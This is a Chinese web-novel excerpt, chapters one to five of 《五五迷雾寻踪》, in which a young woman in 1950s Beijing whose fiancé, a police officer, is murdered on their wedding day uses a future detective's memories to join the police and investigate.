《五五迷雾寻踪》 1. 第 1 章 《五五迷雾寻踪》全本免费阅读 第一章 京城五月的清晨正是清爽温和，阳光透过胡同层层叠叠的砖瓦照耀在窗户上。 甜水井胡同七号院几户人家已经开始有了声音，国家百废待兴，年前由几家厂子合并成了新的机械厂，厂子需要工人，机械厂附近的甜水井胡同近水楼台，几乎每家都有入厂的。当了工人，新生活新气象，到处都是活力四射的样子。 顾铜打开门去胡同口厕所倒了尿桶，出来拢了拢衣服从兜里掏出半截烟头，叼在嘴上就看到一个年轻人骑着自行车从前边巷子里拐了过来，站住脚，点了烟猛吸了一口等着。 没一会年轻人车子近了，看到他笑容满面的说“叔，早啊。”说完双脚一叉腿，迈腿下来。年轻人一米七五的身高，长的是剑眉星目，国字脸，身上还穿着新发的警服，是这个年代最招人喜欢的长相。 “你怎么这么早过来？”顾同说着往回走。 蒋永兴笑嘻嘻的说“嘿嘿，我跟小蕙上午去登记。想着婶做的好吃的，就过来了。” 顾铜瞥了他一眼，也没说啥，领头就进了院子。 “呦这是新姑爷上门了。老顾今天得请客。”院子里的老邻居一边刷牙一边笑着说道。 “后个吧。”顾铜也是满脸笑容的说道，走了两步问“明天集体婚礼吧。” 蒋永兴点头“是呢，叔和婶明天和爷爷奶奶一起过去吧，十点钟。” “我们就不去了，怪不自在的，后天晚上你下班过来，咱们在院里摆几桌，请街坊邻居，老亲故旧一起吃一顿饭就行了。” “叔明天晚上家里摆桌，我爸妈还请家里人都过去呢。”想到父母的叮嘱说道。 顾铜想了一下，“还是算了。之前认亲的时候不是吃过饭了，以后日子长着呢。”闺女找的女婿好，跟他家里人相处怪局促的， 蒋永兴又劝了两句，倒也没再坚持。 两人走过前院直接进了西厢房，“他娘，永兴来了你多烙两张饼。” 蒋永兴把自行车支好，跟厨房里的顾母问好，也不是第一次来，很熟悉。 顾家住在二进院西厢房，是顾家老爷子买下的，解放后招工，顾同顾铁因为都有点文化底子，都进了厂子，去年顾铁和媳妇在老丈人那边买了三间屋，他媳妇家里就这一个闺女，平常也要多照顾点，两兄弟也算是分了家。 西厢房北边原本有个小院，顾家孩子大了，就在那里盖了个小耳房，如今俩姑娘就住在耳房里。 耳房不大，有一铺小炕，住了两个姑娘就有些拘谨了。 此时面朝窗躺着的姑娘睁开眼睛，眉头皱着，姑娘有一双大大的杏眼，此时眼神中带着疑惑，乱糟糟的信息充斥脑海，听见外面隐隐约约的说话声，坐起身，一头黝黑的长发垂落下去，光线透过窗帘照在女孩脸上，好像珍珠散发着光芒。 “姐，是不是姐夫来了。”外边姑娘在枕头上蹭了蹭，懒洋洋的说道，她躺在那看起来比姐姐长得高大。 “嗯。”顾昭蕙应了一声，顺着炕稍下地，看见炕琴上放着新衣，是一件玫红色的对襟小翻领单排扣上衣，记忆力这料子还是蒋永兴姐姐从沪上给邮过来的叹了一下，今天是她结婚的日子。 将头发按照记忆梳了两个大辫子，又黑又多，通过连接西厢的门就看见奶奶正坐在炕上对着小镜子梳头，老太太长的小小巧巧的，以前是个地主家的小姐，活的精致，那时候军阀四起没有一处安稳的地方，家里起了兵祸，四处逃散，老太太是家里最小的姑娘，长辈都没了，没出嫁跟着哥哥生活，逃命时几个哥哥，顾老婆顾孩子，倒是把她给遗忘了，还是当时当长工的顾老爷子，把人从废墟里给背了出来，一路护着，路上要饭打零工，一路走走逃逃来到京城，虽然这边也不太平，好在磕磕绊绊的把日子过了下来。 “昭昭起来了。”老太太说话细声细气，一辈子没跟人红过脸，什么时候都是干干净净利利索索的。 “奶奶昨个睡得好吧。”顾昭蕙上手帮着老太太把小褂穿上。 “好着呢。今个是你的好日子。”老太太说着从枕头底下拿出一个手绢包着的东西，“虽说现在新社会新气象，可大喜的日子也要喜庆一点。”打开手绢，里边是一朵红色的绒花，“等会去照相的时候带上。这还是当初跟你爷爷结婚时候带着的，别看它不起眼，当年还花了你爷爷一个大洋买的，老手艺师傅做的。是一对的，这个给你，还有一个留给小妹。” 伸手接过来，这是老人的一番心意。 洗漱之后出门就看见蒋永兴坐在小板凳上，跟父亲说着什么，父亲原本严肃的脸上露出一丝笑意，听见动静，往这边看过来，看见她，脸上顿时露出大大的笑容，清楚地看到一排洁白的牙齿。 “小蕙你起了。”蒋永兴一下站了起来，不好意思的绕来绕头，也知道自己来的太早了。 顾昭蕙露出一个笑脸，嗯了一声，“你坐，我去帮我娘做饭。”说着扭身往南边小厨房走去。她低着头似乎有些不好意思，一边的蒋永兴嘿嘿的傻乐一下。 掀开门帘，忍不住长呼出一口气，脸上的笑容收敛。 “你过来干什么，用不着你。”顾母看到女儿说道。 “我帮娘烙饼。”顾昭蕙说着拿了铲子，给锅里的饼子翻面，许是今天新姑爷上门，母亲竟然做了白面饼子。 顾母看了看她，想了想说“今个领了证是不是就要住到那边去了？” 顾昭蕙点了点头“今天先领证，明天星期日他们单位要举行集体婚礼，婚礼过后才住过去。” 顾母瞥了她一眼，嘴唇动了动，声音略低了些“蕙，你跟娘说你心里是不是有啥事？” 顾昭蕙愣了一下看向顾母“我能有什么事。挺好的。”说完低下头，心里狂跳了几下。 “就是觉着你最近好像有什么心事似的，往常看到永兴，高兴的跟什么似的，嘴上三句话不离的，这两天都没听你念叨了。” 顾昭蕙摇了摇头“没啥，就是要结婚了，想到要离家，心里不舍得。” 顾母白了她一眼“有啥舍不得，拢共没有几步远，想家就回来呗。矫情。” 顾昭蕙手上翻着饼子，没再说话。 她没想到顾母平常大大咧咧的，竟然是第一个察觉女儿变化的。 她说不好自己现在是个什么状态，脑袋里记忆十分混乱，她 2. 第 2 章 《五五迷雾寻踪》全本免费阅读 第二章 照了像两人去了民政局领了结婚证，此时结婚证就是一张奖状样的纸，不过这张纸代表了两人已经成为夫妻了。 按照两人之前商量的，等明天参加了集体婚礼之后才会搬到蒋家，蒋父和蒋永兴一样，也是公局的，所以一家子就住在市局附近的家属院，蒋永兴结婚蒋家给腾出一间耳房，早就收拾好了，就等他们俩办了婚礼就住进去。 两人跑了大半天，将结婚需要的东西买好，明天晚上蒋家还要请一些朋友过来吃饭，蒋父的老战友蒋永兴几个朋友，虽然单位同事明天中午集体聚餐，可是晚上也要摆两桌的，这都要准备。又去蒋家将新房又布置了一番。 等晚上到家，顾昭蕙累的有点蔫了，不是身体上的疲累，而是脑海中的记忆错乱然她无比疲累。 走在大街上看到街道两旁的景色，好像打开了开关，一些画面开始闪现，这些记忆似乎藏在脑海深处，突然涌了出来，这里又顾昭蕙过去看到过的画面，她在京城长大对京城很了解，不过这些记忆又过于详细，以前的以前的顾昭蕙绝对不会记得的。 三岁市顾昭蕙母亲带她去百货公司买东西，结果遇到兵祸，到处都是枪声，小昭蕙吓得将手上的雪糕掉到了地上。那雪糕是她吃过奶味最香的雪糕，后来吃的雪糕都没有那个味道了。她只记得那雪糕，顾昭蕙却看到远处黑衣人闪过的身影。 五岁时哥哥丢了，哥哥离开的背影，那么单薄，哥哥是跟几个男孩子走了，那几个孩子的面容清晰闪现，四个孩子再也没回来。兵荒马乱的年代，丢个孩子，很难找的。 ………. 顾湘的记忆更多，六十多年的变迁，几乎看变了京城建设史，未来的年代是信息大爆炸的年代，她看过的听过的，甚至一扫而过的信息都被记录下来，这些记忆繁杂混乱给她带来很大的负担，一下来，脑袋都胀痛了。 一夜影像闪现，头涨呼呼的，好在不怎么痛了，就像是马路被拓宽了，大车走着也平顺了，只要不去管它，不来打扰她就好了。 早上换上新衣，稍微梳洗了一下，拿了奶奶给的绒花，想了想放在衣服兜里，还是等到结婚典礼上再拿出来吧。 “等会中午婚礼结束咱们就直接回家，家里大哥大嫂都回来了，我有两个朋友已经从外地过来了，等会在礼堂那里也能看到，到时候我给你介绍，可惜松子有任务回不来。”骑着车子蒋永兴对顾昭蕙说着。 顾昭蕙手拽着蒋永兴的衣服，听到松子这个名字，脑海里闪过几个影像，她没有见过却听蒋永兴说过好几次，“是你那个发小？” “嗯，我俩穿开裆裤的时候就认识了，不过他比我强，早就去参军了，后来分配回来干的也好，现在都能独立办案了，前段时间带队去外地，不知道查什么案子，去了有一段时间了，前几天给我写信了，说是不能参加咱俩婚礼，不过礼物已经邮过来了，沪上弄到的一对毛毯，可喜庆了，等下午去家里就看到了。” 顾昭蕙听出他语气里的兴奋，以前听他说起松子，都很兴奋，甚至有种崇拜的意思在里面。似乎这个松子办了几个大案子，只是因为保密原则，蒋永兴也没有提过具体的事情，她也算是慕名已久。 “到百货商店了，我去拿一下糖果。”停下车，蒋永兴跟顾昭蕙说道。 昨天他们来买糖果不够了，已经跟这边说好了，早上过来拿。 没等多长时间，她就看到蒋永兴快步走了出来。 两人再次上车，骑行没多长时间，过了马路就是市局，蒋永兴突然将车子停下来，“小蕙，你先去单位，我这边有点事一会回去。”他说着将车上的糖果包递了过去，看她下了车，紧蹬了几下就朝着前面一个胡同飞奔而去。。 往那个方向看了过去，有一个穿着黑色风衣的男人骑着车拐进了胡同，可惜只看到后半截，看到风衣一角，没有看到面貌，她也不确定蒋永兴是不是追他。 顾昭蕙来到市局大食堂，今天婚礼就在这里举行，一共有六对新人结婚，顾昭蕙进来后就看到了蒋永兴的母亲，她未来婆婆田静兰，田静兰今年四十九，之前与蒋永兴父亲蒋志忠是战友，以前是战地医院护士，现在在市医院妇产科当护士长。蒋永兴大哥蒋家国现在也是部队的，具体那个单位她也不了解，大嫂是文工团的，大姐在沪市大学工作，一家子你可以说条件都很好。顾昭蕙家里也只是普通工人家庭，她自己虽然高中毕业但是也没有工作，如果按照门第却是比不上的。不过当初两人的介绍人是蒋父的战友，蒋家本身也不在意这些，一家子对顾昭蕙倒是真的喜欢。 “小蕙，永兴呢？怎么你自己过来了？”田静兰看了看顾昭蕙身后问道。 “他刚才在门口有急事，说是一会过来。”顾昭蕙如实的说。 “这孩子，今天是什么日子，怎么这么不着调。”田静兰说了一句，上前拉着顾昭蕙的手，走，妈带你认识几个人。” 说完就拉着顾昭蕙往食堂里走，“今天市局的人都来了，现在到处都招人，下个月有个考试，你高中毕业问题不大。咱们家政审肯定没问题，就算分不到市局，到下边街道也行。” 顾昭蕙听着也心动了，她确实该找个工作，之前高中毕业后本来想进单位的厂子来着，但是去年厂子里招的都是钳工焊工，虽然这年代女人都当男人使唤，但是顾家还是心疼女儿就没让去，然后上半年有个当小学老师的机会，那时候她跟蒋永兴都处上对象了，她就将机会给了比她小一岁的妹妹。 跟着田静兰认了一圈人，田静兰是个很善于交际的女人，本身又是从枪林弹雨中闯出来的，很是爽利。 顾昭蕙表现得也很得体，虽然话语不多，但是落落大方，并不扭捏，混乱的记忆带来的并不全是麻烦，还有收集信息的能力，田静兰每介绍一个人，那个人的数据就会出现在大脑之中，具体的她还没有办法仔细分辨，但是一些信息已经存储在脑海深处，顾昭蕙忍住敲脑壳的动作，她现在需要将那些多余的东西藏起来，不然她会做出什么都无法预料，也许会疯掉。 时间很快到了十点，婚礼仪式就要举行，蒋永兴还没有回来，顾昭蕙看了看大门，不知道为什么心里有一丝不好的预感。 “这孩子去那了？”田静兰也焦急了起来，“爱国，你帮阿姨去找找，永兴怎么还不过来。” 李爱国点点头“田姨你别急我这就去找。”说完还拉了几个朋友一起出去找。 十点婚礼准时举行，蒋永兴没有回来，顾昭蕙没办法只能一个人站在一边，与另外五对新人一起举行了婚礼，一个人的婚礼，好在作为司仪的政委说蒋永兴临时有个任务没能回来，大家都挺理解的，顾昭蕙对此没有太多情绪，面色平静自然，落落大方，倒是被许多人看在眼里，暗中夸赞，并没有丢了面子。 下午回到家里，准备晚上的招待，蒋志忠几位朋友已经到了，他们坐在院子里谈天说地，永兴的几个朋友都出去找人了。 顾昭蕙与婆婆还有大嫂一起在厨房里准备晚餐，心里想着蒋永兴，他骑着车子离开的背影一直在脑海中闪现，等她在一次将糖当成盐的时候田静兰抓住了她的手，说道“小蕙你也不用担心，他肯定是什么事拌住脚了。” 顾昭蕙点点头，看着婆婆也有点担心的脸，也不知道说些什么。 得到消息是夜里九点钟，消息是张朝阳带来的，他是蒋永兴的同事，也是大院里一起长大的朋友，看到他的第一眼，不好的预感就得到了应验。 顾昭蕙本来就乱的大脑似乎更加疯狂的转动，顾昭蕙记忆中的蒋永兴不停地出现在她的眼前，似乎，那种频率让她以为自己产生了幻觉。 她不知道自己是怎么到的现场，远远地那里被围了起来，那是一片芦苇地，与他们住的地方也就两公里距离，脑海中这个位置是后来的某个公园，此时一片荒芜，她没看到他的脸，已经用布蒙上了，她只看到一双脚，脚上穿着一双新皮鞋此时已经全是泥水，鞋跟处有深深的划痕，与地摩擦的痕迹。 芦苇地有些凌乱，十几个同事在周围查探现场。 旁边田静兰终于失去了冷静，哭嚎出声，顾昭蕙就像局外人一样看着一切，大脑就好像有人用刀子在里面不停地搅拌，终于有人将蒋永兴抬了起来，一只手臂从单子下滑落，失去血色的手上是那块她送给他的男士手表，回忆中百货商店他露出雪白牙齿笑的灿烂的脸。 一旁的张朝阳心里不好受，但是顾念着顾昭蕙，没有上前，然后就看到她双眼一闭整个人就那样直挺挺的倒了下去。 醒来是在医院里，睁开眼睛看到的是眼睛肿的跟灯泡似的小妹。看到她醒来，“姐，你醒了。” 顾昭蕙猛地坐起身，看向窗户，虽然挂着窗帘但是看的出来现在已经是上午了，“几点了。” “九点了，姐你怎么样？难受吗？”顾佳蕙关心的说。 顾昭蕙皱了一下眉头“蒋-”顿了一下“你姐夫现在在那？” 顾佳蕙听了眼圈又红了，“姐夫就在楼下。” 这会顾昭蕙也反应过来了，这里是一院的病房，这里与市局挨着，楼下说的应该是停尸房，市局如果想要尸检也会在这里。 想到这里顾昭蕙拔掉手上的输液枕头，一下子就从病床上下来。 “姐你干什么去？”顾佳蕙焦急的说道。 “下楼。 3. 第 3 章 《五五迷雾寻踪》全本免费阅读 第三章 “小蕙，喝点水。”张局长将水杯递给顾昭蕙。 顾昭蕙结果水杯，握在手里并没有喝。 “永兴遇害，局里已经成立调查组进行调查，永兴昨天上午失踪，因为他失踪前是与你在一起，所以调查组想给你做个笔录。你看你现在方便吗？” 顾昭蕙点点头“我可以的。”从医院太平间出来，就跟着一起过来，她也想找出杀害蒋永兴的凶手。 得到顾昭蕙同意，张局就让调查组的人进来，调查组组长是刑侦科的科长李立国，跟他一起来的还有刑侦科一大队队长赵疆和张朝阳。 可能对顾昭蕙的照顾，询问就在张局办公室，张局拿着茶杯离开了，几个人开始问询。 “我不确定他是不是追着那个人进去，那人穿着一身黑色风衣，他还带了一个帽子，看不清面容，骑着永胜的自行车，五层新应该是停产的那批，车后灯破碎了，留下三分之一的车灯。”说完她还画了一下车灯的样子。 “你能确定他骑得是永胜自行车？”李立国带着点怀疑的问。 顾昭蕙点点头，脑海中图象记忆放大，“就是永胜的自行车没有错，永胜的后车座与其它车不同，有点往上翘。我不会记错，当时永兴，直接往那边去，我就看了一眼，那人半个身子已经进了胡同，能看到的就这些。永兴先是往那边看了一下，然后才跟了上去。不过不能确定永兴追就是他。” 李立国点点头，“在这之前，蒋永兴有没有什么异常，或者提到一些什么事情？或者提到一些工作上的事情？” 顾昭蕙想了想摇了摇头，“他很少提到工作的事，只有两三次加班失约之后跟我解释一下，不会有具体内容。我也不会问，你们工作一些事情很多都是需要保密的。至于说是异常，我不知道算不算，最近一个月他经常加班，因为我们定了结婚日子，婚房那边需要收拾一下，本来说和我一起去，但是最后因为加班，新房都是婆婆和大嫂帮着收拾的。” 李立国听到这里与赵疆对视了一眼，又看向顾昭蕙问道“是他跟你说他在加班吗？” 顾昭蕙带点点头“之前几次说是加班，后来就没说什么，我也没问。” 之后又问了一些问题，没有什么特别的就结束了。 从市局离开，顾昭蕙看到顾铜蹲在大门口似乎在等她。“爸。” “蕙，跟爸回家吧。”顾铜将手上的烟头掐断，然后放到衣服兜里。 顾昭蕙摇了摇头“爸你先回去吧，跟爷奶说一下我没什么事，蒋家这边消息更灵通一些，我想等抓到凶手再说。”案子不破她是不会安心的。 顾铜脸色也暗了，“那行吧，你那公婆还不错，不过要是有什么不方便，就回家，咱家不差你那一碗饭。” 顾昭蕙点头“放心吧，我手上有钱票，不会亏了自己。” “你二叔一大早过来看你了，你没醒他上班走了，说是明个给你拿些粮食，等他拿过来我给你送去。”闺女虽说嫁过去，可这人没进门人就没了，在婆家还不一定怎么回事呢。 “我真不用，爸，你让二叔留着自家吃吧，眼看婶子就要生了。” “这你就别管了。” 顾铜将闺女送到大院门口就走了。他之前已经与亲家见面了，却不知道说些什么。蒋永兴多好的孩子，可惜了。 蒋家住在市局家属院，其实就是一片四合院围起来形成的院子，前后有两个大门，门口有门卫，进出需要登记，环境好一些。 进了院子顾昭蕙偶尔能看到行人，或许知道了蒋家的事情，看着她都带着同情的眼神。 来到蒋家门口，院子里站着好几拨人，看着都是蒋家亲朋顾旧，昨个还参加婚宴的人，男人们站在院里里，似乎讨论着什么，看到她进来，大家都停了下来，顾昭蕙听到正房里有女人哭声。 蒋父正坐在院子里的柿子树下，身边几个战友，都是关系非常不错的，蒋父一脸黯淡，看起来苍老了几岁，看见她进来，蒋父叹了口气“小蕙也累了去休息一下吧。” 顾昭蕙对着众人点了点头，回到西耳房。她也没去正房，那屋子里哭声没停，或许田静兰此时最不想见到的就是她。 进入房间，将门关上，也将外面的一切纷杂关在外面。 熟悉又陌生的屋子，布置非常简单，走到内屋看到床上那刺目的红色叹了一口气，将身上穿着的红色嫁衣脱了下来，叠好又将床上的床单枕套撤下来一一收好，还有屋子里到处贴的喜字，好多都是前些天蒋永兴与她一起贴的，如今喜字还在人却不团圆了。 听到敲门声，顾昭蕙停下手上的动作，她也不知道自己在做什么，屋子里已经一点也看不到喜色了。所有的东西都被她放在靠墙的柜子里。 敲门声再次响起，顾昭蕙走到门前打开门。 “小蕙。”门外的是大嫂，眼睛红红的，手上端着一碗面。她刚想说什么就看到屋子里干干净净的，所有的喜庆物品都不见，顾昭蕙身上也换上一身白色衬衫。“饿了吧，我做了碗面，吃点垫垫。” 顾昭蕙点点头，让嫂子进屋。 顾大嫂也不知道说些什么，顾昭蕙从听到消息，一直到现在，除了晕倒，其它一切正常，她没有哭闹，甚至都没看到她流泪，整个人一脸平静，朝阳下午过来说她录口供的时候条理清晰，头脑清楚，看不出来任何一点悲伤。 但是顾大嫂觉着哭出来人就好了，人一哭悲伤就发泄出来了，这样一声不吭才有问题呢。只是这种事情真不好说。 关上房门，顾昭蕙坐在八仙桌前，看着那碗还带着热气的面条，看了一会拿起筷子吃了起来，脑海中一些画面出现，是她和蒋永兴第一次出去，蒋永兴带着他去北海，当时下了第一场雪，他说冬天的时候带她过来滑冰，结果等冰冻了之后他单位就有事情，一直到过年的时候才带她去了一次，还遇到大院小子打架，上去劝架，弄到最后也没玩好。 那次去北海中午吃的就是面，还是牛肉面，一大碗，她说自己吃不了，蒋永兴将一多半的牛肉给了她。吃了自己剩下的面，好像是那一次开始，她每次吃不了的东西，都被他吃掉。从没浪费一粒粮食。 将所有的面条都吃掉，连汤都喝了，顾昭蕙看着都有点撑，看着空空的碗，想到蒋永兴说‘我胃口大，多少都吃得下。’ 原本觉着案子应该很快就有结果，毕竟死的是内部人员，上面非常重视，可实际上却出乎意料，并没有什么结果，顾昭蕙提供的线索很重要，他们按照线索，找到了车子，可是车子被遗弃了，被一个捡破烂的老头给买到废品收货站了，等他们找到的时候已经被拆了。之所以被发现还是车后灯确实坏了，车子也是永胜的，并且在车后胎发现了一点血迹。经过确定血型与蒋永兴的是同一血型。 只是永胜车是49年前自行车厂，早就停产了，后来车场收归国有，之前的车子也没有记录。这两自行车也没有钢印，根本找不到来源。 现在能知道的也就是芦苇丛并不是第一案发现场。芦苇丛附近没有大量血迹，那里紧挨着马路，往南走是纺织厂，附近还有学校，来回人员不少。如果长时间停留会有人发现，经过几日调查，并没有发现可疑人员。 按照顾昭蕙和蒋家人说，蒋永兴之前一个月加班次数很多，这个与单位通勤记录不符，最近一个月蒋永兴都是正常上下班，一个月值班时间是正常的，这段时间蒋永兴在做什么，是调查重点，但是他们只知道蒋永兴好像在调查什么。具体的没有人知道。 案件陷入僵局。 张朝阳是调查组成员，因为蒋志国是内部人员的关系，他并没有隐瞒，在院子里两人说话的时候顾昭蕙听见了。 这样下去案子可能会被搁置，或许只能自己调查。顾昭蕙是不会让那个凶手逍遥法外的。 坐在窗前的桌子边，台灯散发出柔和的光，脑海中一些画面闪现，她回想之前看到的，那里不是第一案发现场这是肯定的。 第一次在那里，虽然地面已经被 4. 第 4 章 《五五迷雾寻踪》全本免费阅读 第四章 顾昭蕙留在了顾家，父母过来看过她两次，还给她带来了一些粮食，是家里和二叔送来的，他们希望她能回娘家，虽然二婚再嫁名声不好，但是她还年轻以后有大好的年华，不希望她一个孤单的过下去。 顾昭蕙却有自己的目标，找了个时间去芦苇滩走了一趟，过了一个月，案件没有进展，她只能试一试自己调查一下。 没有人知道她的身体里还有一道来自未来的灵魂，也没有人知道那个顾湘是一名警校大四学生，学的还是刑侦专业，尽管很多东西在这个年代都不能使用，但是拥有全部记忆的她已经足够强大了。 过去这一段时间芦苇荡滩已经没有太多痕迹了，她去看了蒋永兴躺着的地方，这个地方有些巧妙，正好被一簇芦苇遮挡了，这个位置在道路边上是看不到的，如果是凶手只要将人带到这里然后放下，离开，几乎不用多余的动作，很轻易的就达到抛尸的目的，事实上直到晚上扫盲班的学生到这边小解才发现，白天的时候来来去去很多人，只要不到身边就没有发现，这个凶手心思很是细密，而且他不怕尸体被发现，看得出来，这人已经想得很清楚，就算尸体被发现了，也联系不到他。 顾昭蕙站在路边看着街道周围，虽然不是主道，来往的人不少，纺织厂上下班的人，扫盲班的学生，远处一大片住宅，胡同四通八达，这凶手的心理素质真的很强。 蒋永兴与凶手认识，两人还在一起抽烟，蒋永兴身手不错，如果正面冲突不会那么容易被放倒而且从蒋永兴的伤口痕迹上看，应该是在蒋永兴转身离开的时候被勒住然后杀死的。 现场会有大量的血迹，所以他必须将尸体转移出来，他很有信心，不怕被人发现尸体，因为没有人会怀疑他。为什么呢？是内部人员？不对，至少不是身边的同事，这些天调查组已经将能调查的都查过了，那么蒋永兴顾忌的人是谁呢？ 考试时间在一个周末，这也算是一次内部考核，来参加考试的都是经过政审的，现在缺少工作人员，刚刚解放没几年，工作人员都是从部队上选来的，打仗没问题，破案什么就没什么技巧了，另外就是这两年一些老人都退下去了，所以这次是招收有些文凭的，政审过关的。 顾昭蕙考试没有任何问题，张朝阳给她拿来的学习资料，她也只用了半天时间看过了就记住了。这或许是两个灵魂的融合让她的大脑产生变化，虽然这种变化好像让她拥有了很强的能力，但是也给她带来很多困扰，有时候她没有办法控制自己的记忆，总是会闪现一些不需要的影像记忆。 而最让她困扰的是情感情绪似乎离她而去，她的情感被抽离，所以面对太平间的蒋永兴，她能冷静的去分析他身体上的疑点，没有任何情绪。大院中有人说她克夫，说她是扫把星，这些人隐晦的眼神，还有走在胡同中一些小混混对她的污言秽语，她都能无视，她甚至能冷静的分析那些人的心态，完全没有伤害。 这些是不对的。她不敢回到娘家，不光是想要找到真相，更多的是她不敢面对家人的关怀，她发现那次晕倒之后，连最后一点‘亲情’也感受不到了。 她觉着自己就像是一个机器人，对什么事情都是冷静的分析。 她需要一些时间来适应。 进入家属院，走在林荫道上，感受身上一丝阴凉，马上就要到七月份了，天气已经开始热了，院里的服务社门口排着队，她走过去一看，竟然是新鲜的猪肉，掏了一下兜里面有几张票，其中一张肉票，还是一斤的，另外还有三尺布票和两张工业票，这是蒋永兴在结婚前给她的，没有用掉。 想了想就排在队伍后面，两年前开始凭票购买，现在供应还不怎么困难，像是他们院里的服务社就经常有肉蛋等副食品买，再过几年想这样随时看到肉就不可能了。 看她过来排队，前面有个妇女冲着另外一个女人使了个眼色，然后两个人蛐蛐咕咕的说话。 她没有去看她们，尽管她们说的话往她耳朵里冒，情绪稳定让她完全可以当做听不到。 不过脑海中不停闪现的片段让她有些困扰，她并不想知道这两个人女人是谁家的，也不想知道她们的男人是做什么的，孩子在那里上学甚至这两人跟自家婆婆有什么矛盾。 这些她统统不想知道，完全是一些垃圾，可这些信息情报自然出现在自己脑海中。 她这个时候还真想成为一个机器人，那样她就可以将那些无关紧要的记忆片段扔到垃圾桶里，或者放在一个硬盘里进行格式化。 队伍行进的很快，不过到她这里已经没有最好的肥膘了，但是有五花肉，正是她喜欢的那种瘦肉多肥肉少的，用了一斤肉票加上六毛钱，买了一斤肉。 又去服务社里买了一个白萝卜，然后就往家走，身后还有人用隐晦的目光打量。 到了家，果然没有人在家，大哥嫂子已经回部队上了，大嫂上个月查出怀孕，因为蒋永兴的事情忙前忙后差点小产，在家里养了两个礼拜才回部队，家里现在就剩下顾昭蕙和公公婆婆一起住。 这短时间也是她自我适应的时间，平常都在耳房，很少出来，与蒋家父母除了吃饭很少见面，交流也不多，不过两人只以为她伤心过度以致性情大变，大家倒也相安无事，至少田静兰看见她的时候也能心平气和，一点点的从失去儿子的悲伤中走出来了。当然这只是表面上，到底如何只有个人清楚。 中午两人在单位吃食堂，是不回来的，顾昭蕙看厨房桌上罩着的盘子里有几个二合面馒头，还有咸菜，也没热，就那么凉着吃了，如今还是用灶烧火做饭，做饭也挺麻烦的。 蒋家的院子是一进的小院，三间两耳，东西有厢房，都不大，也很低矮，东厢房做厨房，西厢房是大哥大嫂住处，东耳房是蒋家夫妻住处。正房算是客厅。 她住的耳房前面有个迷你的小院，靠着墙让蒋永兴弄了个花池子，本来想种些花，顾昭蕙却是个会过的，拿了黄瓜种子让种下了，现在上面接的黄瓜已经可以吃了，可惜蒋永兴吃不到了。 坐在桌子边上顾昭蕙拿出一个红皮笔记本开始整理思路，尽管脑海中记忆清晰，但是从顾湘那里带来的习惯，还是喜欢拿着笔记录一下，有很多东西就是这样串起来，不过别人就算拿了也认不出来，本上全是字母，上边用的是五笔输入法记录的。下意识的进行了保密。 很奇怪的对她来说就像大脑有翻译器一样，自动的将纸上的字母进行翻译。 果然将一些信息落在纸上之后，她的思路会更 5. 第 5 章 《五五迷雾寻踪》全本免费阅读 第五章 第二天一早去市局，她就看到了门口公告栏上贴的通知，这批考试人员，百分之八十都通过了，毕竟这次考试的学历最低的也是初中毕业，这年代文盲率在百分之八十，初中文凭都是文化人了，只要报名通过差不多就能给安排个工作，至于剩下的没在名单上的百分之二十，顾昭蕙觉着应该有一部分人被别的部门要走了，因为就她知道有几个不应该落选的人没有在名单上。 这不是她要考虑的，她现在就看自己被分到那里，好吧这个也不需要看，市局，没有任何意外。 这次进市局一共有七个，这几个人她了解，其中五个人是从部队上下来的，属于分配过来的，不过这次也参加考试了，关于这个她听蒋志国说过，好像和之后的工资定级有关，毕竟是京城定级有关的准备工作已经开始了。具体标准还没有落实，一切都在摸索中。考试也可以作为一项标准。她除了学历没有什么优势了， 按照通知上面写的，拿着户口本去单位人事部报道，虽然有三天时间，但是她并不想浪费时间。 人事部登记拿了警服武装带帽子等必要用品，她也知道自己被分配到机要科，目前工资暂定十二级市四十元五毛一个月。不过听人事部的说，那是因为她考试第一，所以才会提一级，这个也只是暂时的，之后看表现可能还会有变动，对此她没有什么想法，毕竟没有任何工作经历，又不像其他人那样在部队里历练，这样就很好了。 拿着自己的东西，去了机要科，这是一个很特别的科室，尤其这个年代，尤为重要。 来到机要科，见到了科长王显贵，是个四十多岁的缺了一只眼的男人，看见顾昭蕙很是热情“哎呀咱们机要科总算是来新人了。我叫王显贵，你平常叫王哥就行。咱们机要科人不多，等会带你认识认识。”王显贵说着将手上一些文件拿出来，递给顾昭蕙“这个是咱们科里的保密条例还有一些规章制度，你先把这个好好看看，咱们科室特殊，这方面要非常注意。” 顾昭蕙将文件拿过来，扫了一眼，然后拿在手上。 王显贵看了看她“这样你刚来，先去档案室，咱们科室人手一直不够，档案室里有一些档案有些混乱，我听说你这次考试考第一，又是女同志细心，看看能不能把档案室的工作抓起来。” 说完王显贵站起身，带着顾昭蕙往外走，科长办公室就在楼梯里边第二间，前边第一间是一间大办公室，有七八张桌子，里边有四位同志，经过介绍都是科里的同事，不过王显贵只是给她介绍一下，就带她离开了，似乎也没有让他们熟悉的意思。 之后就带着她来到机要室走廊尽头，这边有一个铁门，打开铁门，里边有一间大屋，门上写着档案室，跟会议室差不多大了，里面是一个个的柜子，排列的很是密集，“以前档案室由张雯负责，她这月休产假了，现在档案室管理归小王，王云负责，不过她一个人也忙不过来。正好你过来。”王显贵看了一下手表，“估计这会给刑侦科那边送文件去了。她会教你怎么做。这边是办公室，你等她一会吧。” 顾昭蕙点点头，“好的科长。” “叫王哥。”王显贵笑着说了一句，然后就离开了。 顾昭蕙看着关上的档案室大门站了好一会，才将手上的东西放在一边空着的桌子上，然后看着档案室的办公室，说是办公室实际上就是档案室的一角，放着四张桌子，两两并列，靠门口的两张桌子上有些文件茶杯，应该是有人坐的，另外两张空着。 档案室的柜子都是上锁的，她没有往里走，只是用眼睛看了一下，能看的出来，里边的一些柜子放着的文件应该是解放前的文件，只有外面几个柜子放着解放后文件。 她没有等多长时间，门口传来咦的一声，然后就听见一个女人的声音，“王哥是你把大门打开的？怎么没关上？”女人说话声音虽然有点软但是话语里存着质疑。 “我带新人去档案室了。”王显贵似乎一边说一边往这边走。 然后就听开门声，王显贵和一个三十多岁的女人走了进来。女人个子不高，还有些微胖，圆圆脸上似乎永远都带着一股笑意，“这就是小顾吧，我听说户籍科那边跟咱们抢人来着，还是王科你厉害。”说完伸出手“我叫王云。看你年轻就叫我王姐吧。” 顾昭蕙握了握王云的手，露出一个微笑“王姐。”名对新同事她应该热情一点。 晚上回到家，田静兰已经做好了饭，她今天下午休班，知道她第一天上班，看她回来关心的问“怎么样了？分到那个科室了？” “机要科，进了档案室。”顾昭蕙说道。 田静兰听了觉着不错“档案室行，不用往外跑。” 